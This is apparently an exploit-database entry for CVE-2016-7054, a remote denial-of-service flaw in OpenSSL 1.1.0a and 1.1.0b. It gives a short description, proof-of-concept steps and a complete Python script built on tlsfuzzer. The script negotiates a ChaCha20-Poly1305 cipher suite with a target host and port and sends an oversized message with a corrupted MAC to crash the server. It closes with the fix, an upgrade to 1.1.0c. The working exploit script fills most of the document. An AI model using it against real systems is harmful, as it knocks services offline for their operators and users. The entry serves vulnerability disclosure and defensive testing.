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# Exploit Title: OpenSSL 1.1.0a & 1.1.0b Heap Overflow Remote DOS vulnerability
# Date: 11-12-2016
# Software Link: https://www.openssl.org/source/old/1.1.0/
# Exploit Author: Silverfox
# Contact: http://twitter.com/___Silverfox___
# Website: https://www.silverf0x00.com/
# CVE: CVE-2016-7054
# Category: Denial of Service
# Type: Remote
# Platform: Multiple
1. Description
Remote unauthenticated user can negotiate ChaCha20-Poly1305 cipher suites and send a message of sufficient length with a bad MAC to trigger the vulnerable code to zero out the heap space and force the vulnerable OpenSSL instance to crash.
https://blog.fortinet.com/2016/11/23/analysis-of-openssl-chacha20-poly1305-heap-buffer-overflow-cve-2016-7054
https://www.silverf0x00.com/overview-of-mac-algorithms-fuzzing-tls-and-finally-exploiting-cve-2016-7054-part-1/
2. Proof of Concept
a. Download and compile OpenSSL 1.1.0a or b
b. Run OpenSSL with the following switches: ./openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key cert.key -cert cert.crt -accept 443 -www -tls1_2 -msg
c. Download and run the exploit code (Under https://github.com/silverfoxy/tlsfuzzer package run test-cve-2016-7054.py at https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)
d. OpenSSL Instance crashes causing DOS
### Exploit Code ###
'''
* In no event shall the author be liable
* for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
'''
from __future__ import print_function
import traceback
import sys
from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import Connect, ClientHelloGenerator, \
ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, \
FinishedGenerator, ApplicationDataGenerator, \
fuzz_encrypted_message
from tlsfuzzer.expect import ExpectServerHello, ExpectCertificate, \
ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, \
ExpectAlert, ExpectClose, ExpectServerKeyExchange
from tlslite.constants import CipherSuite, AlertLevel, AlertDescription
def usage() :
return 'Usage ./{} Destination_IP Destination_Port'.format(sys.argv[0])
def main():
if len(sys.argv) < 3:
print(usage())
return -1
conversations = {}
# 16 chars: POLY1305 tag 128 bit
# Tampering one bit suffices to damage the mac
# The payload has to be long enough to trigger heap overflow
n = 15000
fuzzes = [(-1, 1)]
for pos, val in fuzzes:
conversation = Connect(sys.argv[1], int(sys.argv[2]))
node = conversation
ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
node = node.add_child(ClientHelloGenerator(ciphers))
node = node.add_child(ExpectServerHello())
node = node.add_child(ExpectCertificate())
node = node.add_child(ExpectServerKeyExchange())
node = node.add_child(ExpectServerHelloDone())
node = node.add_child(ClientKeyExchangeGenerator())
node = node.add_child(ChangeCipherSpecGenerator())
node = node.add_child(FinishedGenerator())
node = node.add_child(ExpectChangeCipherSpec())
node = node.add_child(ExpectFinished())
node = node.add_child(fuzz_encrypted_message(
ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
node = node.add_child(ExpectAlert(AlertLevel.fatal,
AlertDescription.bad_record_mac))
node = node.add_child(ExpectClose())
conversations["XOR position " + str(pos) + " with " + str(hex(val))] = \
conversation
# run the conversation
good = 0
bad = 0
for conversation_name in conversations:
conversation = conversations[conversation_name]
#print(conversation_name + "...")
runner = Runner(conversation)
res = True
try:
runner.run()
except:
print("Error while processing")
print(traceback.format_exc())
res = False
if res:
good+=1
print("OK")
else:
bad+=1
print("Test end")
print("successful: {0}".format(good))
print("failed: {0}".format(bad))
if bad > 0:
sys.exit(1)
if __name__ == "__main__":
main()
### End of Exploit Code ###
3. Solution:
Update OpenSSL to version 1.1.0c or later, versions earlier than 1.1.0a are not affected by this vulnerability.
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